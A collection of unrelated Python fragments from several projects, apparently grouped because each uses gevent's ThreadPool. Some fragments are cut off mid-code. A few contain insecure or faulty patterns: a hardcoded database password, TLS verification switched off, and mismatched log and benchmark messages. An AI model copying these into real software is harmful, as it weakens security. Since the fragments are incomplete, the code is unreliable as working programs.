repo_id=bran.id, name=branch['name'], merged=branch['merged'], protected=branch['protected'], developers_can_push=branch['developers_can_push'], developers_can_merge=branch['developers_can_merge'], last_commit_id=last_commit_id, last_short_id=last_short_id, last_author_email=last_author_email, last_author_name=last_author_name, last_title=last_title, project_obj=project_obj, ) update_result.append(branch['name']) logger.info('[BRANCH] update branch name:{0}, project name:{0}'.format( branch['name'], project_obj.name) ) else: new_result.append(branch['name']) create_repository_obj( name=branch['name'], merged=branch['merged'], protected=branch['protected'], developers_can_push=branch['developers_can_push'], developers_can_merge=branch['developers_can_merge'], last_commit_id=last_commit_id, last_short_id=last_short_id, last_author_email=last_author_email, last_author_name=last_author_name, last_title=last_title, project_obj=project_obj, ) logger.info('[BRANCH] new branch name:{0}, project name:{0}'.format( branch['name'], project_obj.name) ) except Exception as ex: import traceback logger.error(ex) create_syslog_obj( title='同步 {0} 项目分支失败'.format(project_obj.name), description=str(ex), stack_trace=traceback.format_exc(), level=LOG_LEVEL.CRITICAL, is_read=False, ) if update_result: create_pro_history_obj( project_obj=project_obj, title='更新分支 {0} 个'.format(len(update_result)), description='更新:{0} 分支'.format('、'.join(update_result)), type=icon_type.CODE_FORK ) if new_result: create_pro_history_obj( project_obj=project_obj, title='新增分支 {0} 个'.format(len(new_result)), description='新增:{0} 分支'.format('、'.join(new_result)), type=icon_type.TAGS ) except Exception as ex: logger.error(ex)
class IntentTransportPlugin(Plugin): def _init(self): if self.config.get("enable_intent"): self.api.register_transport_client(("intent", "intent"), self.send_request_indication) self._initialized() def send_request_indication(self, request_indication): with Promise() as p: from .client import XIXIntentClient fullpath = request_indication.path parsed = urlparse(fullpath) request_indication = copy(request_indication) request_indication.path = urlunparse( ParseResult("", "", *parsed[2:])) client = XIXIntentClient(parsed.netloc, self.config["Issuer"], self.logger, self.config["listenActions"]) p.fulfill(client.send_request_indication(request_indication)) return p def _start(self): try: max_queue_size = self.config["queue_max_size"] except: max_queue_size = 1000 self.gevent_queue = Queue(max_queue_size) self.intent_handler = IntentHandler(self.logger, self.config) self.greenlet = Greenlet.spawn( self.intent_handler.executeQueuedRequests, self.gevent_queue, self.api.handle_request_indication) self.logger.info("started greenlet") if self.config.get("enable_intent"): self.logger.info("starting intent server") from server import IntentServer self.intent_server = IntentServer( self.api.handle_request_indication, self.gevent_queue, self.config, self.logger) self.gevent_threadpool = ThreadPool(1) self.gevent_threadpool_worker = self.gevent_threadpool.spawn( self.intent_server.start) #self.intent_server.start() from .activate import PA_Activation pa_activation = PA_Activation(self.config, self.logger) pa_activation.start() for endpoint in self.config["endpoints"]: self.api.register_endpoint( endpoint["personality"], "%s://%s" % ("intent", endpoint["interface"])) if self.config.get("enable_test"): from .test import test_read_params, test_create_app, test_create_app_property, test_subscribe_pushed_data, test_push_data, test_destroy_app, test_subscribe_apps_with_search_str from .test import test_create_app_with_search_str, test_discover_apps_with_search_str, test_get_app, test_get_all_properties, test_get_latest_data_of_property contact = "intent://intent_test/m2m" from .test_retarget import test_retarget test_retarget(self.api.handle_request_indication, self.logger, self.config, "retrieve", "/m2m") # contact = "http://localhost:8080" test_read_params(self.api.handle_request_indication, self.logger, self.config) self.logger.info( "============================================================") # test_create_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_create_app_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_subscribe_pushed_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty", contact) self.logger.info( "============================================================") # test_push_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_get_all_properties(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_get_latest_data_of_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty") self.logger.info( "============================================================") # test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") # test_subscribe_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", contact) test_subscribe_apps_with_search_str( self.api.handle_request_indication, self.logger, self.config, None, contact) self.logger.info( "============================================================") # test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", "healthDevice") # test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", None) self.logger.info( "============================================================") # test_discover_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", "intent://test_action") self.logger.info( "============================================================") # test_get_app(self.api.handle_request_indication, self.logger, self.config, "myApp", "intent://test_action") self.logger.info( "============================================================") # test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp") self.logger.info( "============================================================") self._started() def _stop(self): #self.__rack.stop() if self.gevent_threadpool_worker: self.gevent_threadpool_worker.kill() if self.greenlet: self.greenlet.kill() self._stopped()
class FileDownload(object): copypool = ThreadPool(2) def __init__(self, file): self.file = file self.account = self.file.account file.can_resume = file.can_resume and self.account.can_resume and True or False if file.max_chunks is None: file.max_chunks = self.account.max_chunks if file.max_chunks is None or file.max_chunks > config['max_chunks']: file.max_chunks = config['max_chunks'] self.pool = VariableSizePool(file.max_chunks) self.event = Event() self.stream = None self.next_data = None def init(self): with transaction: #self.set_context() chunk = self.get_first_chunk() if chunk is None: # all chunks have state 'complete' return # initialize the first download self.stream, self.next_data = self._error_handler( chunk, self.download, chunk) if self.file.size is None: self.file.can_resume = False self.file.max_chunks = 1 self.pool.set(1) self.file.log.debug('resume possible: {}, size: {}'.format( self.file.can_resume, self.file.size)) with transaction: # create all other chunks if self.create_chunks(chunk) == 'retry': return 'retry' # update file progress if not self.file.size is None: self.file.init_progress(self.file.size) self.file.set_progress( sum([c.pos - c.begin for c in self.file.chunks])) # start first (already initialized) download greenlet chunk.spawn(self.download_chunk, chunk, stream=self.stream) self.pool.add(chunk.greenlet) return self.run() def spawn_chunk_download(self): """if self.file.is_paused(): return 0""" new = 0 for chunk in self.file.chunks: if self.pool.full(): break if chunk.working: continue if not chunk.next_try is None and chunk.next_try > time.time(): continue if chunk.state != 'download': continue chunk.next_try = None chunk.last_error = None chunk.last_error_type = None chunk.need_reconnect = False chunk.spawn(self.download_chunk, chunk) self.pool.add(chunk.greenlet) new += 1 return new def run(self): while True: self.pool.wait_available() with transaction: started = self.spawn_chunk_download() if len(self.pool) == 0: break if started == 0: self.event.wait() self.event.clear() self.pool.join() # TODO: really necessary? self.file.log.debug('all chunk download greenlets are done') def finish(self): """clean up chunks and set errors/next_try to file""" if self.stream: close_stream(self.stream) if len(self.file.chunks) == 0: self.file.retry('download finish got no chunks', 90) complete = True next_try = None need_reconnect = False last_error = None last_error_type = None with transaction: for chunk in self.file.chunks: if chunk.state != 'complete': complete = False if chunk.next_try and (next_try is None or next_try > chunk.next_try): next_try = chunk.next_try need_reconnect = chunk.need_reconnect last_error = chunk.last_error last_error_type = chunk.last_error_type elif chunk.last_error and not last_error: last_error = chunk.last_error last_error_type = chunk.last_error_type chunk.next_try = None chunk.need_reconnect = False chunk.last_error = None chunk.last_error_type = None if complete: self.finalize_complete_download() self.file.state = 'download_complete' self.file.delete_chunks() self.file.fire_after_greenlet('file:download_complete', self.file) # check if package is complete complete = True for f in self.file.package.files: if f.enabled and 'download' not in f.completed_plugins: complete = False if complete: self.file.package.state = 'download_complete' self.file.fire_after_greenlet('package:download_complete', self.file.package) if not complete: if next_try: self.file.retry(last_error, next_try - time.time(), need_reconnect) elif last_error: self.file.fatal(last_error, type=last_error_type) def finalize_complete_download(self): if self.file.package.system == 'torrent': return self.file.log.debug('download complete') if self.file.filehandle is not None and self.file.filehandle.f is not None or self.file.filehandle.refcount != 0: self.file.log.unhandled_exception( 'filehandle still open, refcount: {}, handle: {}'.format( self.file.filehandle.refcount, self.file.filehandle.f)) download_file = self.file.get_download_file() with transaction: # disable all other files in group hostname = self.file.host.get_hostname(self.file) for f in core.files(): if f != self.file and f.get_download_file() == download_file: f.fatal('downloaded via {}'.format(hostname), abort_greenlet=False) # delete file chunks with transaction: self.file.delete_chunks() # remove .dlpart extension from filename and move to completed files directory if os.path.exists(download_file): complete_file = self.file.get_complete_file() if download_file != complete_file: try: self.forced_rename() except: import traceback traceback.print_exc() raise # TODO: delete empty directories ######################################################### def forced_rename(self): download_file = self.file.get_download_file() complete_file = self.file.get_complete_file() path = os.path.dirname(complete_file) if not os.path.exists(path): try: os.makedirs(path) except (IOError, OSError) as e: self.file.fatal( "Error creating output directory: {}".format(e)) return try: os.rename(download_file, complete_file) except: try: self.copypool.apply_e((BaseException, ), shutil.move, (download_file, complete_file)) except (OSError, IOError): self.file.log.info("error moving file, try to copy") try: self.copypool.apply_e((BaseException, ), shutil.copy, (download_file, complete_file)) try: os.unlink(download_file) except: self.file.log.exception( "error deleting old download file") except (IOError, OSError) as e: self.file.fatal( "Error creating complete file: {}".format(e)) except: self.file.log.exception("unknown error in threadpool") except: self.file.log.exception("unknown error in threadpool") def _error_handler(self, chunk, func, *args, **kwargs): try: return plugintools.ctx_error_handler(chunk, func, *args, **kwargs) except plugintools.RangeNotSatisfiedError: if chunk.pos == 0: chunk.fatal('range request not satisfied') if len(self.file.chunks) == 1: with transaction: chunk.pos = 0 chunk.retry('range request not satisfied', 1) for prev in self.file.chunks: if prev.end != chunk.begin: continue chunk.log.info( 'range request not satisfied; merging with previous chunk {}' .format(prev.id)) with transaction: prev.end = chunk.end if prev.state == 'complete': prev.state = 'download' self.file.max_chunks -= 1 chunk.delete_after_greenlet() return 'deleted' chunk.retry('range request not satisfied', 60) def get_first_chunk(self): # check file on hdd (if exists) if len(self.file.chunks) > 0: path = self.file.get_download_file() if not os.path.exists(path): self.file.log.warning( 'file not found on hdd. resetting chunks') self.file.delete_chunks() if not self.file.can_resume or len(self.file.chunks) == 0: # create a first chunk with transaction: if self.file.chunks: self.file.log.warning( 'cannot resume or chunks are zero. resetting chunks') self.file.delete_chunks() chunk = core.Chunk(file=self.file, end=self.file.size) else: # get first incomplete chunk with transaction: self.file.chunks = sorted(self.file.chunks, lambda a, b: a.pos - b.pos) all_complete = True for chunk in self.file.chunks: if chunk.state != 'complete': all_complete = False if chunk.state == 'download': break else: if not all_complete: raise ValueError( 'not possible exception: found no initial chunk') return None # assume all chunks are complete chunk.last_error = None chunk.last_error_type = None chunk.need_reconnect = None return chunk def _create_one_chunk(self): if len(self.file.chunks) > 1: raise ValueError('create_one_chunk called while chunk count > 1') elif len(self.file.chunks) == 1: self.file.chunks[0].end = self.file.size if not self.file.can_resume and self.file.chunks[0].begin > 0: self.file.chunks[0].begin = 0 return 'retry' def create_chunks(self, first_chunk): """returns true when first chunk was modified """ num = self.file.max_chunks result = None if not self.file.can_resume: if num > 1: self.file.log.debug( 'cannot resume or filesize is null. using only one chunk') num = 1 elif num > 1: block = int(math.ceil(self.file.size / num)) while num > 1 and block < config['min_chunk_size']: num -= 1 block = int(math.ceil(self.file.size / num)) self.file.log.debug('using {} chunks with blocksize of {}'.format( num, block)) self.file.max_chunks = num self.pool.set(num) if not self.file.can_resume and first_chunk.pos > 0: self.file.log.debug( 'first chunk is at position {} but we cannot resume. resetting chunks' .format(first_chunk.pos)) self.file.delete_chunks() return 'retry' self.file.chunks = sorted(self.file.chunks, lambda a, b: a.pos - b.pos) if len(self.file.chunks ) == num and self.file.chunks[-1].end == self.file.size: return if num == 1: if len(self.file.chunks) == 0: self.file.log.debug('created one single brand new chunk') core.Chunk(file=self.file, begin=0, end=self.file.size) elif self.file.chunks[-1].end != self.file.size: self.file.log.debug( 'chunk(s) are nearly setup correctly. set end from {} to {}' .format(self.file.chunks[-1].end, self.file.size)) self.file.chunks[-1].end = self.file.size else: self.file.log.debug('chunk(s) already setup correctly') return result #if len(self.file.chunks) < num: if True: begin = 0 for i in range(num): if i == num - 1: end = self.file.size else: end = begin + block try: chunk = self.file.chunks[i] if chunk.begin > begin or chunk.end < begin: if chunk == first_chunk: result = 'retry' chunk.pos = begin chunk.log.debug( 'changing begin {}, end {} to begin {}, end {}'.format( chunk.begin, chunk.end, begin, end)) if chunk.pos < begin or chunk.pos > end or chunk.begin < begin: chunk.pos = begin elif chunk.pos > chunk.begin: chunk.log.debug('leaving position {} untouched'.format( chunk.pos)) chunk.begin = begin chunk.end = end except IndexError: self.file.log.debug( 'creating new chunk begin {}, end {}'.format( begin, end)) core.Chunk(file=self.file, begin=begin, end=end) begin += block return result ######################################################### def download(self, chunk): chunk.set_substate('init') if self.file.get_any_size() is not None: seekingfile.check_space(self.file.get_download_file(), self.file.get_any_size()) space_checked = True else: space_checked = False result = self.file.account.on_download_decorator( self.file.download_func, chunk) stream, next_data = self.file.host.handle_download_result( chunk, result) if space_checked is False: seekingfile.check_space( self.file.get_download_file(), self.file.get_any_size() or 100 * 1024 * 1024) return stream, next_data def download_next(self, chunk): chunk.set_substate('init') return self.file.download_next_func(chunk, self.next_data) def download_chunk(self, chunk, stream=None): try: if stream is None: chunk.log.info('opening download from {} to {}'.format( chunk.pos, chunk.end)) stream = self._error_handler( chunk, self.file.account.on_download_next_decorator, self.download_next, chunk) if stream == 'deleted': return if stream is None: chunk.plugin_out_of_date(msg='stream have not to be none') chunk.log.info('starting download from {} to {}'.format( chunk.pos, chunk.end)) chunk.set_substate('running') self._error_handler(chunk, self._download_chunk, chunk, stream) except plugintools.NoMoreConnectionsError: if self.file.max_chunks == 1: chunk.retry('no more connections allowed', 90) else: self.file.max_chunks -= 1 self.pool.set(self.file.max_chunks) finally: with transaction: close_stream(stream) chunk.set_substate() gevent.spawn(self.event.set) def _download_chunk(self, chunk, input): if isinstance(input, DownloadFunction) or hasattr(input, "process"): dlfunc = input else: # use default download function. input is a stream dlfunc = DownloadFunction(input) dlfunc.chunk = chunk with dlfunc, chunk.file.filehandle as output: dlfunc.output = output dlfunc.process() if (chunk.end is not None and chunk.end != chunk.pos) or not chunk.pos: chunk.retry( 'chunk is incomplete (pos {} != end {})'.format( chunk.pos, chunk.end), 60) with transaction: chunk.state = 'complete' event.fire('chunk:download_complete', chunk)
browsers['free'].append(s) elif 'used' in ss[s]['Tags']: browsers['used'].append(s) return browsers if not show_browser_ui: display = Display(visible=0, size=(800, 600)) display.start() desired_capabilities = None service_log_path = "chromedriver.log" service_args = ['--verbose', '--log-path=' + log_path + '/' + service_log_path] pool = ThreadPool(5) def clear_half_tabs(driver): for _ in range(0, int(maximum_tabs / 2)): driver.switch_to.window(driver.window_handles[0]) driver.close() def make_data_from_table(trs, error): data = [] for tr in trs[1:]: tds = tr.find_elements_by_tag_name('td') data.append({ 'name': tds[0].text, 'client_time': tds[1].text,
# origin auther: garsonbb # by garson blog garnote.top import sys, getopt import time from gevent.queue import Queue from gevent.threadpool import ThreadPool import gevent from gevent import monkey import requests from detect import * monkey.patch_all(thread=False, ssl=False, socket=True) pool = ThreadPool(3) q = Queue() rin = 'task.txt' output = 'replace' timeout = 1 parallels = 20 hostname = 'google.com' mod = True ips = [] passip = [] times = 0 n = 1 stop = False port = 8118
class Middleware(object): def __init__(self): self.logger_name = logger.Logger('middlewared') self.logger = self.logger_name.getLogger() self.rollbar = logger.Rollbar() self.__jobs = JobsQueue(self) self.__schemas = {} self.__services = {} self.__wsclients = {} self.__hooks = defaultdict(list) self.__server_threads = [] self.__init_services() self.__plugins_load() self.__threadpool = ThreadPool(5) def __init_services(self): from middlewared.service import CoreService self.add_service(CoreService(self)) def __plugins_load(self): from middlewared.service import Service, CRUDService, ConfigService plugins_dir = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'plugins', ) self.logger.debug('Loading plugins from {0}'.format(plugins_dir)) if not os.path.exists(plugins_dir): raise ValueError('plugins dir not found') for f in os.listdir(plugins_dir): if not f.endswith('.py'): continue f = f[:-3] fp, pathname, description = imp.find_module(f, [plugins_dir]) try: mod = imp.load_module(f, fp, pathname, description) finally: if fp: fp.close() for attr in dir(mod): attr = getattr(mod, attr) if not inspect.isclass(attr): continue if attr in (Service, CRUDService, ConfigService): continue if issubclass(attr, Service): self.add_service(attr(self)) if hasattr(mod, 'setup'): mod.setup(self) # Now that all plugins have been loaded we can resolve all method params # to make sure every schema is patched and references match from middlewared.schema import resolver # Lazy import so namespace match to_resolve = [] for service in list(self.__services.values()): for attr in dir(service): to_resolve.append(getattr(service, attr)) resolved = 0 while len(to_resolve) > 0: for method in list(to_resolve): try: resolver(self, method) except ValueError: pass else: to_resolve.remove(method) resolved += 1 if resolved == 0: raise ValueError("Not all could be resolved") self.logger.debug('All plugins loaded') def register_wsclient(self, client): self.__wsclients[client.sessionid] = client def unregister_wsclient(self, client): self.__wsclients.pop(client.sessionid) def register_hook(self, name, method, sync=True): """ Register a hook under `name`. The given `method` will be called whenever using call_hook. Args: name(str): name of the hook, e.g. service.hook_name method(callable): method to be called sync(bool): whether the method should be called in a sync way """ self.__hooks[name].append({ 'method': method, 'sync': sync, }) def call_hook(self, name, *args, **kwargs): """ Call all hooks registered under `name` passing *args and **kwargs. Args: name(str): name of the hook, e.g. service.hook_name """ for hook in self.__hooks[name]: try: if hook['sync']: hook['method'](*args, **kwargs) else: gevent.spawn(hook['method'], *args, **kwargs) except: self.logger.error('Failed to run hook {}:{}(*{}, **{})'.format( name, hook['method'], args, kwargs), exc_info=True) def add_service(self, service): self.__services[service._config.namespace] = service def get_service(self, name): return self.__services[name] def get_services(self): return self.__services def add_schema(self, schema): if schema.name in self.__schemas: raise ValueError('Schema "{0}" is already registered'.format( schema.name)) self.__schemas[schema.name] = schema def get_schema(self, name): return self.__schemas.get(name) def get_jobs(self): return self.__jobs def threaded(self, method, *args, **kwargs): """ Runs method in a native thread using gevent.ThreadPool. This prevents a CPU intensive or non-greenlet friendly method to block the event loop indefinitely. """ return self.__threadpool.apply(method, args, kwargs) def _call(self, name, methodobj, params, app=None): args = [] if hasattr(methodobj, '_pass_app'): args.append(app) # If the method is marked as a @job we need to create a new # entry to keep track of its state. job_options = getattr(methodobj, '_job', None) if job_options: # Create a job instance with required args job = Job(self, name, methodobj, args, job_options) # Add the job to the queue. # At this point an `id` is assinged to the job. self.__jobs.add(job) else: job = None args.extend(params) if job: return job else: return methodobj(*args) def call_method(self, app, message): """Call method from websocket""" params = message.get('params') or [] service, method_name = message['method'].rsplit('.', 1) methodobj = getattr(self.get_service(service), method_name) if not app.authenticated and not hasattr(methodobj, '_no_auth_required'): app.send_error(message, 'Not authenticated') return return self._call(message['method'], methodobj, params, app=app) def call(self, name, *params): service, method = name.rsplit('.', 1) methodobj = getattr(self.get_service(service), method) return self._call(name, methodobj, params) def send_event(self, name, event_type, **kwargs): assert event_type in ('ADDED', 'CHANGED', 'REMOVED') for sessionid, wsclient in self.__wsclients.items(): try: wsclient.send_event(name, event_type, **kwargs) except: self.logger.warn('Failed to send event {} to {}'.format( name, sessionid), exc_info=True) def pdb(self): import pdb pdb.set_trace() def green_monitor(self): """ Start point method for setting up greenlet trace for finding out blocked green threads. """ self._green_hub = gevent.hub.get_hub() self._green_active = None self._green_counter = 0 greenlet.settrace(self._green_callback) monkey.get_original('_thread', 'start_new_thread')(self._green_monitor_thread, ()) self._green_main_threadid = monkey.get_original( '_thread', 'get_ident')() def _green_callback(self, event, args): """ This method is called for several events in the greenlet. We use this to keep track of how many switches have happened. """ if event == 'switch': origin, target = args self._green_active = target self._green_counter += 1 def _green_monitor_thread(self): sleep = monkey.get_original('time', 'sleep') while True: # Check every 2 seconds for blocked green threads. # This could be a knob in the future. sleep(2) # If there have been no greenlet switches since last time we # checked it means we are likely stuck in the same green thread # for more time than we would like to! if self._green_counter == 0: active = self._green_active # greenlet hub is OK since its the thread waiting for IO. if active not in (None, self._green_hub): frame = sys._current_frames()[self._green_main_threadid] stack = traceback.format_stack(frame) err_log = ["Green thread seems blocked:\n"] + stack self.logger.warn(''.join(err_log)) # A race condition may happen here but its fairly rare. self._green_counter = 0 def run(self): self.green_monitor() gevent.signal(signal.SIGTERM, self.kill) gevent.signal(signal.SIGUSR1, self.pdb) Application.middleware = self wsserver = WebSocketServer( ('127.0.0.1', 6000), Resource(OrderedDict([ ('/websocket', Application), ]))) restful_api = RESTfulAPI(self) apidocs_app.middleware = self apidocsserver = WSGIServer(('127.0.0.1', 8001), apidocs_app) restserver = WSGIServer(('127.0.0.1', 8002), restful_api.get_app()) fileserver = WSGIServer(('127.0.0.1', 8003), FileApplication(self)) self.__server_threads = [ gevent.spawn(wsserver.serve_forever), gevent.spawn(apidocsserver.serve_forever), gevent.spawn(restserver.serve_forever), gevent.spawn(fileserver.serve_forever), gevent.spawn(self.__jobs.run), ] self.logger.debug('Accepting connections') gevent.joinall(self.__server_threads) def kill(self): self.logger.info('Killall server threads') gevent.killall(self.__server_threads) sys.exit(0)
from limits import Limits from view.wttr import get_wetter from view.moon import get_moon from view.line import wttr_line import cache if not os.path.exists(os.path.dirname(LOG_FILE)): os.makedirs(os.path.dirname(LOG_FILE)) logging.basicConfig(filename=LOG_FILE, level=logging.INFO, format='%(asctime)s %(message)s') LIMITS = Limits(whitelist=[MY_EXTERNAL_IP], limits=QUERY_LIMITS) TASKS = ThreadPool(25) def show_text_file(name, lang): """ show static file `name` for `lang` """ text = "" if name == ":help": text = open(get_help_file(lang), 'r').read() text = text.replace('FULL_TRANSLATION', ' '.join(FULL_TRANSLATION)) text = text.replace('PARTIAL_TRANSLATION', ' '.join(PARTIAL_TRANSLATION)) elif name == ":bash.function": text = open(BASH_FUNCTION_FILE, 'r').read() elif name == ":iterm2":
continue ip = tr.find('td').eq(1).text() port = tr.find('td').eq(2).text() #proxy = ip+':'+port proxy = {'ip': ip, 'port': port} proxies.append(proxy) return proxies def proxy_test(proxy): try: resp = requests.get( TEST_URL, proxies={ 'http': 'http://{0}:{1}'.format(proxy['ip'], proxy['port']), 'https': 'https://{0}:{1}'.format(proxy['ip'], proxy['port']) }, timeout=10) if resp and resp.status_code == 200: print('Valid proxy', proxy) collection.insert(proxy) #print('Valid proxy', proxy) except Exception as e: pass proxies = proxy_xici() pool = ThreadPool(20) threads = [pool.spawn(proxy_test, each) for each in proxies] gevent.joinall(threads)
def __init__(self): super(Botdol, self).__init__() self._version = 1.0 self._name = "봇돌이" urlparse.uses_netloc.append("postgres") url = urlparse.urlparse(os.environ["DATABASE_URL"]) self._pgconn = psycopg2.connect(database=url.path[1:], user=url.username, password=url.password, host=url.hostname, port=url.port) with self._pgconn.cursor() as cursor: self._init_db(cursor) self._variable = Variable.load(cursor) self._wordquiz = Wordquiz.load(cursor) self._dday = Dday.load(cursor) self._keyword = Keyword.load(cursor) self._mafiagame = MafiaGame() self._coinanalyzer = CoinAnalyzer() self._pool = ThreadPool(1) self._pool.spawn(self._coinanalyzer.run) # 빨래통 self.add_command(111740297355267, VariableListOrAddCommand("ㄱ", self._variable)) self.add_command(111740297355267, VariableRemoveSingleCommand("ㄱㅅ", self._variable)) self.add_command(111740297355267, VariableRemoveAllCommand("ㄱㅈㅅ", self._variable)) self.add_command(111740297355267, HangangCommand("자살")) self.add_command(111740297355267, WordquizInfoCommand("ㅈㅋ", self._wordquiz)) self.add_command(111740297355267, WordquizImpeachCommand("ㅋㅌ", self._wordquiz)) self.add_command(111740297355267, SummaryCommand("세줄요약")) self.add_command(111740297355267, MafiaCommand("ㅁㅍㅇ", self._mafiagame)) self.add_command(111740297355267, MusicSearchCommand("ㅇㄱ")) self.add_command(111740297355267, MusicDownloadCommand("ㅇㄷ")) self.add_command(111740297355267, ShareCommand("지분")) self.add_command(111740297355267, DdayListOrAddCommand("ㄷㄷㅇ", self._dday)) self.add_command(111740297355267, DdayRemoveCommand("ㄷㅅ", self._dday)) self.add_command(111740297355267, KeywordListOrAddCommand("ㅋㅇㄷ", self._keyword)) self.add_command(111740297355267, KeywordRemoveCommand("ㅋㅅ", self._keyword)) self.add_command(111740297355267, CoinCommand("ㅂㅌ", self._coinanalyzer)) # help must be added at the last self.add_command( 111740297355267, HelpCommand("?", self._commands.get(111740297355267, {}))) # 개인톡 # 그 외 self.add_command( 0, WordquizProduceCommand("ㅈㅋ", self._wordquiz, 111740297355267)) self.add_command( 0, WordquizCancelCommand("ㅋㅊ", self._wordquiz, 111740297355267)) self.add_command( 0, WordquizHintCommand("ㅎㅌ", self._wordquiz, 111740297355267)) self.add_command(0, MafiaSingleChatCommand("ㅁㅍㅇ", self._mafiagame)) # help must be added at the last self.add_command(0, HelpCommand("?", self._commands.get(0, {}))) self._bot_timer = gevent.spawn(self._do_timer)
def __init__(self, 协程数量): self.pool = ThreadPool(协程数量)
def admin_init(self): pool = ThreadPool(maxsize=1) pool.spawn(self.safe_auto_load_warcs)
from __future__ import print_function import time import gevent from gevent.threadpool import ThreadPool import requests def get(url): print(requests.get(url).status_code) pool = ThreadPool(40) start = time.time() for _ in range(40): print(_) pool.spawn(get, 'http://www.baidu.com/') gevent.wait(timeout=3) delay = time.time() - start print( 'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs' % delay) pool = ThreadPool(40) start = time.time() for _ in range(40): print(_) pool.spawn(get, 'http://www.baidu.com/') gevent.wait(timeout=3) delay = time.time() - start print( 'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs'
def test(self): self.pool = ThreadPool(1) self.pool.join()
class DB(): thread_local_storage = threading.local() tp = ThreadPool(5) @classmethod def _connect(cls): if 'conn' not in cls.thread_local_storage.__dict__: conn = pyodbc.connect( 'DRIVER={SQL Server};SERVER=localhost;DATABASE=WEB_PHCCIS;uid=phccis-user;PWD=phccis-user' ) conn.cursor().execute('SET DATEFORMAT dmy') cls.thread_local_storage.conn = conn return cls.thread_local_storage.conn @classmethod def query(cls, sql, *args): def task(sql, *args): logging.debug('querying...') conn = None try: conn = cls._connect() cur = conn.cursor() cur.execute(sql, *args) l = cur.fetchall() except: e = sys.exc_info() logging.error('DB error %s', e[1], exc_info=True) if conn: conn.rollback() l = [] else: conn.commit() return l return cls.tp.spawn(task, sql, *args).get() @classmethod def execute(cls, sql, *args): def task(sql, *args): logging.debug('executing...') conn = None try: conn = cls._connect() cur = conn.cursor() cur.execute(sql, *args) c = cur.rowcount except: e = sys.exc_info() logging.error('DB error %s', e[1], exc_info=True) if conn: conn.rollback() c = 0 else: conn.commit() return c return cls.tp.spawn(task, sql, *args).get() @classmethod def execute_async(cls, sql, *args): def task(sql, *args): logging.debug('executing async...') conn = None try: conn = cls._connect() cur = conn.cursor() cur.execute(sql, *args) except: e = sys.exc_info() logging.error('DB error %s', e[1], exc_info=True) if conn: conn.rollback() else: conn.commit() cls.tp.spawn(task, sql, *args)
def test(self): pool = ThreadPool(1) pool.spawn(noop) gevent.sleep(0) pool.kill()
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: betta ''' netease music api ''' from api import NetEase import time import gevent from gevent.threadpool import ThreadPool pool = ThreadPool(10) # 考虑到歌单最多10000首歌,故采用多个歌单 wait_song_list = [644264533, 644752348, 644765343, 644738922, 644776005, 644749639, 644756477, 644818427, 644835023, 644810557, 644806753, 644811524, 644800922, 644793786] # wait_song_list = [644810557, 644806753, 644811524, 644800922, 644793786] back_song_list = [583517654, 431743699] joker = NetEase() user_info = {} local_account = '*****@*****.**' local_password = '******' #local_account = '*****@*****.**' #local_password = '******' login_info = joker.login(local_account, local_password) print login_info
class Upgrade(object): def __init__(self, proxies=None, upgrade_interval_day='7d', http_timeout=15): """ :param proxies: :param upgrade_interval_day: :param http_timeout: """ self.http_timeout = int(http_timeout) self.cve_path = paths.CVE_PATH self.cve_cpe_db = paths.DB_FILE self.cpe_file = os.path.join(self.cve_path, 'nvdcpematch-1.0.json') interval_type = re.search(r'(\d+)(\w)', upgrade_interval_day) if interval_type and interval_type.group(2) in ('d', 'h'): if interval_type.group(2) == 'd': self.upgrade_interval = 60 * 60 * 24 * int(interval_type.group(1)) elif interval_type.group(2) == 'h': self.upgrade_interval = 60 * 60 * int(interval_type.group(1)) else: self.upgrade_interval = 60 * 60 * 24 * 7 self.headers = { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding": "gzip, deflate, br", "accept-language": "en;q=0.9", "connection": "keep-alive", "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108" } self.headers.update(conf['http']['headers']) self.pool = ThreadPool(10) logger.info('Proxies: {0}'.format(proxies)) self.proxies = proxies def download_cpe_match_file(self): """ :return: """ try: url = 'https://nvd.nist.gov/feeds/json/cpematch/1.0/nvdcpematch-1.0.json.gz' logger.info('[DOWNLOAD] {0}'.format(url)) with requests.get( url, headers=self.headers, stream=True, proxies=self.proxies, timeout=self.http_timeout, verify=False ) as r: r.raise_for_status() with open('{0}.gz'.format(self.cpe_file), 'wb') as f: for chunk in r.iter_content(chunk_size=8192): if chunk: f.write(chunk) logger.info("Start extracting '{0}' files...".format(self.cve_path)) with gzip.open('{0}.gz'.format(self.cpe_file), 'rb') as f_in: with open(self.cpe_file, 'wb') as f_out: shutil.copyfileobj(f_in, f_out) os.unlink('{0}.gz'.format(self.cpe_file)) except Exception as ex: raise ex def download_cve_file(self): """ :return: """ def download_file(year): try: cve_file = os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json.gz'.format(year)) url = 'https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-{0}.json.gz'.format(year) logger.info('[DOWNLOAD] {0}'.format(url)) with requests.get( url, headers=self.headers, stream=True, proxies=self.proxies, timeout=self.http_timeout, verify=False ) as r: r.raise_for_status() with open(cve_file, 'wb') as f: for chunk in r.iter_content(chunk_size=8192): if chunk: f.write(chunk) logger.info("Start extracting '{0}' files...".format(cve_file)) with gzip.open(cve_file, 'rb') as f_in: with 